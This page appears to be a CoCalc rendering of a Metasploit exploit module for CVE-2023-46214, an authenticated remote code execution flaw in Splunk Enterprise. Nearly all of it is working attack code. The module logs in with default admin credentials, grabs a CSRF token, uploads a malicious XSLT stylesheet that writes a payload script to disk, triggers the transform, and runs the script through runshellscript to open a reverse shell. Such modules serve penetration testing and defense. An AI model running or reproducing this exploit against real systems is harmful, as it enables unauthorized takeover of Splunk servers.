CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Splunk Authenticated XSLT Upload RCE',
17
'Description' => %q{
18
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
19
The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages
20
a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid
21
credentials, typically 'admin:changeme' by default.
22
23
The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the
24
vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'
25
capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides
26
the attacker with remote control over the compromised Splunk instance. The module is designed to work
27
seamlessly, ensuring successful exploitation under the right conditions.
28
},
29
'Author' => [
30
'nathan', # Writeup and PoC
31
'Valentin Lobstein', # Metasploit module
32
'h00die', # Assistance in module development
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
['CVE', '2023-46214'],
37
['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],
38
['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory
39
['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup
40
],
41
'Platform' => ['unix', 'linux'],
42
'Arch' => [ARCH_PHP, ARCH_CMD],
43
'Targets' => [['Automatic', {}]],
44
'DisclosureDate' => '2023-11-28',
45
'DefaultTarget' => 0,
46
'DefaultOptions' => {
47
'RPORT' => 8000
48
49
},
50
'Privileged' => false,
51
'Notes' => {
52
'Stability' => [CRASH_SAFE],
53
'Reliability' => [REPEATABLE_SESSION],
54
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),
62
OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),
63
OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),
64
]
65
)
66
end
67
68
def exploit
69
cookie_string ||= authenticate
70
unless cookie_string
71
fail_with(Failure::NoAccess, 'Authentication failed')
72
end
73
74
sleep(0.3)
75
csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)
76
unless csrf_token
77
fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')
78
end
79
80
sleep(0.3)
81
malicious_xsl = generate_malicious_xsl
82
text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)
83
unless text_value
84
fail_with(Failure::Unknown, 'File upload failed')
85
end
86
87
sleep(0.3)
88
jsid = get_job_search_id(csrf_token, updated_cookie_string)
89
unless jsid
90
fail_with(Failure::Unknown, 'Creating job failed')
91
end
92
93
sleep(0.3)
94
unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)
95
fail_with(Failure::Unknown, 'XSLT Transform failed')
96
end
97
98
sleep(0.3)
99
unless trigger_payload(jsid, csrf_token, updated_cookie_string)
100
fail_with(Failure::Unknown, 'Failed to execute reverse shell')
101
end
102
end
103
104
def check
105
unless splunk?
106
return CheckCode::Unknown('Target does not appear to be a Splunk instance')
107
end
108
109
begin
110
cookie_string = authenticate
111
rescue RuntimeError
112
cookie_string = nil
113
end
114
115
unless cookie_string
116
return CheckCode::Detected('The target is Splunk but authentication failed')
117
end
118
119
version = get_version_authenticated(cookie_string)
120
return CheckCode::Detected('Unable to determine Splunk version') unless version
121
122
if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||
123
version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))
124
return CheckCode::Appears("Exploitable version found: #{version}")
125
end
126
127
CheckCode::Safe("Non-vulnerable version found: #{version}")
128
end
129
130
def trigger_payload(jsid, csrf_token, cookie_string)
131
return nil unless jsid && csrf_token
132
133
runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
134
runshellscript_data = {
135
'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""
136
}
137
138
upload_headers = {
139
'X-Requested-With' => 'XMLHttpRequest',
140
'X-Splunk-Form-Key' => csrf_token,
141
'Cookie' => cookie_string
142
}
143
144
print_status("Executing payload at #{runshellscript_url}")
145
res = send_request_cgi(
146
'uri' => runshellscript_url,
147
'method' => 'POST',
148
'vars_post' => runshellscript_data,
149
'headers' => upload_headers
150
)
151
152
unless res
153
print_error('Failed to execute payload: No response received')
154
return nil
155
end
156
157
if res.code == 201
158
print_good('Payload executed successfully')
159
return true
160
end
161
162
print_error("Failed to execute payload: Server returned status code #{res.code}")
163
return nil
164
end
165
166
def trigger_xslt_transform(jsid, text_value, cookie_string)
167
return nil unless jsid && text_value
168
169
exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')
170
exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"
171
172
xslt_headers = {
173
'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',
174
'Connection' => 'close',
175
'Upgrade-Insecure-Requests' => '1',
176
'Accept-Language' => 'en-US,en;q=0.5',
177
'Accept-Encoding' => 'gzip, deflate',
178
'X-Requested-With' => 'XMLHttpRequest',
179
'Cookie' => cookie_string
180
}
181
182
print_status("Triggering XSLT transformation at #{exploit_endpoint}")
183
res = send_request_cgi(
184
'uri' => exploit_endpoint,
185
'method' => 'GET',
186
'headers' => xslt_headers
187
)
188
189
unless res
190
print_error('Failed to trigger XSLT transformation: No response received')
191
return nil
192
end
193
194
if res.code == 200
195
print_good('XSLT transformation triggered successfully')
196
return true
197
end
198
199
print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")
200
return nil
201
end
202
203
def generate_malicious_xsl
204
encoded_payload = Rex::Text.html_encode(payload.encoded)
205
206
xsl_template = <<~XSL
207
<?xml version="1.0" encoding="UTF-8"?>
208
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
209
<xsl:template match="/">
210
<exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">
211
<xsl:text>#{encoded_payload}</xsl:text>
212
</exsl:document>
213
</xsl:template>
214
</xsl:stylesheet>
215
XSL
216
217
xsl_template
218
end
219
220
def get_job_search_id(csrf_token, cookie_string)
221
return nil unless csrf_token
222
223
jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
224
225
upload_headers = {
226
'X-Requested-With' => 'XMLHttpRequest',
227
'X-Splunk-Form-Key' => csrf_token,
228
'Cookie' => cookie_string
229
}
230
231
jsid_data = {
232
'search' => '|search test|head 1'
233
}
234
235
print_status("Sending job search request to #{jsid_url}")
236
res = send_request_cgi(
237
'uri' => jsid_url,
238
'method' => 'POST',
239
'vars_post' => jsid_data,
240
'headers' => upload_headers,
241
'vars_get' => { 'output_mode' => 'json' }
242
)
243
244
unless res
245
print_error('Failed to initiate job search: No response received')
246
return nil
247
end
248
249
jsid = res.get_json_document['sid']
250
return jsid if jsid
251
end
252
253
def upload_malicious_file(file_content, csrf_token, cookie_string)
254
unless csrf_token
255
print_error('CSRF token not found')
256
return nil
257
end
258
259
post_data = Rex::MIME::Message.new
260
post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")
261
262
upload_headers = {
263
'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',
264
'X-Requested-With' => 'XMLHttpRequest',
265
'X-Splunk-Form-Key' => csrf_token,
266
'Cookie' => cookie_string
267
}
268
269
upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')
270
271
res = send_request_cgi(
272
'uri' => upload_url,
273
'method' => 'POST',
274
'data' => post_data.to_s,
275
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
276
'headers' => upload_headers,
277
'vars_get' => {
278
'output_mode' => 'json',
279
'props.NO_BINARY_CHECK' => 1,
280
'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"
281
}
282
)
283
284
unless res
285
print_error('Malicious file upload failed: No response received')
286
return nil
287
end
288
289
if res.headers['Content-Type'].include?('application/json')
290
response_data = res.get_json_document
291
else
292
print_error('Response is not in JSON format')
293
return nil
294
end
295
296
if response_data.empty?
297
print_error('Failed to parse JSON or received empty JSON')
298
return nil
299
end
300
301
if response_data['messages'] && !response_data['messages'].empty?
302
text_value = response_data.dig('messages', 0, 'text')
303
if text_value.include?('concatenate')
304
print_error('Server responded with an error: concatenate found in the response')
305
return nil
306
end
307
308
print_good('Malicious file uploaded successfully')
309
return text_value
310
end
311
312
print_error('Server did not return a valid "messages" field')
313
return nil
314
end
315
316
def fetch_csrf_token(cookie_string)
317
print_status('Extracting CSRF token from cookies')
318
319
csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)
320
321
if csrf_token_match
322
csrf_token = csrf_token_match[1]
323
print_good("CSRF token successfully extracted: #{csrf_token}")
324
325
en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
326
res = send_request_cgi({
327
'method' => 'GET',
328
'uri' => en_us_url,
329
'cookie' => cookie_string
330
})
331
332
updated_cookie_string = cookie_string
333
334
if res && res.code == 200
335
new_cookies = res.get_cookies
336
updated_cookie_string += new_cookies
337
end
338
339
return [csrf_token, updated_cookie_string]
340
end
341
342
fail_with(Failure::NotFound, 'CSRF token not found in cookies')
343
end
344
345
def get_version_authenticated(cookie_string)
346
res = send_request_cgi({
347
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
348
'vars_get' => {
349
'output_mode' => 'json'
350
},
351
'headers' => {
352
'Cookie' => cookie_string
353
}
354
})
355
356
return nil unless res&.code == 200
357
358
body = res.get_json_document
359
Rex::Version.new(body.dig('generator', 'version'))
360
end
361
362
def splunk?
363
res = send_request_cgi({
364
'uri' => normalize_uri(target_uri.path, '/en-US/account/login')
365
})
366
367
return true if res&.body =~ /Splunk/
368
369
false
370
end
371
372
def authenticate
373
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')
374
375
res = send_request_cgi({
376
'method' => 'GET',
377
'uri' => login_url
378
})
379
380
unless res
381
fail_with(Failure::Unreachable, 'No response received for authentication request')
382
end
383
384
cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]
385
386
unless cval_value
387
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
388
end
389
390
auth_payload = {
391
'username' => datastore['USERNAME'],
392
'password' => datastore['PASSWORD'],
393
'cval' => cval_value,
394
'set_has_logged_in' => 'false'
395
}
396
397
res = send_request_cgi({
398
'method' => 'POST',
399
'uri' => login_url,
400
'cookie' => res.get_cookies,
401
'vars_post' => auth_payload
402
})
403
404
unless res && res.code == 200
405
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
406
end
407
408
print_good('Successfully authenticated on the Splunk instance')
409
res.get_cookies
410
end
411
end
412
413